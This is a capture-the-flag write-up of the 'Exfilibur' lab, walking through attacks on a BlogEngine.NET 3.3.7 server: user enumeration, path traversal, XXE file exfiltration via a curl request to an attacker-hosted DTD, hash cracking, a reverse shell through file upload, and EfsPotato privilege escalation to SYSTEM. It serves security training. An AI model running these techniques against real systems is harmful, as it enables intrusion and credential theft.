Exfilibur
You’ve been asked to exploit all the vulnerabilities present. - by l4m3r8
Last updated
You’ve been asked to exploit all the vulnerabilities present. - by l4m3r8
Last updated
The following post by 0xb0b is licensed under CC BY 4.0
We start with a Nmap scan and find only two open ports. Port 80 on which a Microsoft web server IIS is running and on port 3389 we have an open port that allows remote access via RDP.
We focus on the web server and enumerate the directories. We have the directories blog
and aspnet_client
here.
We can go deeper with Feroxbuster. However, this is not relevant for this writeup, as the relevant endpoints can also be reached manually.
When analyzing the webpage on the Blog directory, we are confronted with version 3.3.7
. This version contains numerous vulnerabilities. From Directory Path traversal, exfiltration of data on the file system via XXE or Remote Code Execution in different facets.
The following link provides an overview of various exploits:
We will use the following three exploits as part of the challenge:
The initial attempt of this challenge was the intended way, which I will explain below, using CVE-2019-11392
. Due to the firewall, the outgoing and incoming traffic is very limited. But there is another possible way, which I will explain first. From the description in the post, it quickly becomes clear that things have to be decoded and decrypt. Hence, the idea to exfiltrate the user.xml
to the file system.
Since the exploit did not work at first, here is the other possible solution. We have the option of logging in to blogengine. Unfortunately, no users can be enumerated via this panel, but let's take a look at the password-retieval.aspx...
Here we are able to enumerate users, since the SendMailMessage
function fails, which is apparent due to the not available connection in context of this challenge. Here we see, that the admin user is present.
If a user is not in the system, we get the message "User not found".
We intercept the request using Burp Suite and forward the request to the intruder module in order to enumerate further users. This was the remedy after brute forcing via hydra on the admin user did not lead to any results.
We use the list cirt-default-usernames.txt
.
After a short time, we determine the user admin and guest.
With an educated guess, we are able to retrieve the guest's username. Otherwise, follow the intended way.
We make use of the CVE CVE-2019-10717
. Using the directory path traversal option, we find the user.xml in /blog/App_Data/
.
As already mentioned, it is actually about decoding / decrypting. Looking at the source on GitHub of the blogengine repository, we see here an example password for the admin user.
We extract the user.xml using CVE-2019-11392
. We test the CVE first and extract the C:\Windows\win.ini
, as in the example, in the CVE.
This CVE as well as the others that required an outgoing and incoming connection failed because the ports are blocked, and I used the wrong ports. But the SMB port 445 is an open port.
We set up the XML and DTD like described in the CVE.
We query curl http://exfilibur.thm/blog/syndication.axd?apml=http://10.8.211.1:445/oob.xml
And receive the contents of the files at our web server.
Next, we edit the exfil.dtd
to retrieve the users.xml at C:/inetpub/wwwroot/blog/App_Data/users.xml
.
The path was chosen correctly, and we receive the users.xml
.
Using CyberChef we are able to retrieve the hashes of the users admin and guest, encoded in base64.
We are only able to crack the hash of the user guest. With that, we are able to log in. But keep in mind, that the +
in the base64 encoded string is also decoded. So you have to add that again.
With the found credentials, we are able to log in as user guest.
There is a post in the draft that contains a password. There is also a note that this should not actually be reused, but probably is. We are able to authenticate ourselves as admin to blogengine with the password. But this does not seem to be absolutely necessary.
We use the following exploit for initial machine access:
This requires authenticated access. But it was also possible to upload without authenticationas part of the Challenge. The selected port is very important here.
A successful upload is indicated by a 201 response:
Below is the payload, which was sent via Burpsuite.
Our successful upload can be confirmed by means of the directory traversal vulnerability CVE-2019-10717
.
We set up a listener on port 445 and query the following request via cURL to trigger the payload.
After a short wait, we receive a reverse shell as exfilibur\merlin
. This has an interesting privilege set that we will exploit later, the SeImpersonatePrivilege
. There is also another user. The user kingarthy
is also on the system.
Unfortunately, the user flag cannot be found at merlin
.
We remember the credential reuse. And try to connect to the machine as kingarthy
via RDP and use the password from the draft post.
We are able to connect and find the users flag on the Desktop of the user.
Back to our reverse shell, we try to escalate our privileges using the SeImpersonatePrivilege
. For this, we make use of the EfsPotato
.
We download the source on the target system.
And compile it like described on the machine. Fortunately it does not get detected by defender, and is therefore not deleted.
After executing whoami via EfsPotato
we see we are nt authority\system
.
Now, we just change the password of the administrator using EfsPotato
and try to RDP into the machine with the new credentials set.
We are able to connect as Administrator and find the root flag on the Desktop.
Don't missout on Jaxafeds writeup, with a different privilege escalation approach using SeRestorePrivilege
and SeTakeOwnershipPrivilege
on user kingarthy
.
Ensure you don't overlook Voltas writeup on obfuscating GodPotato to elevate the privileges.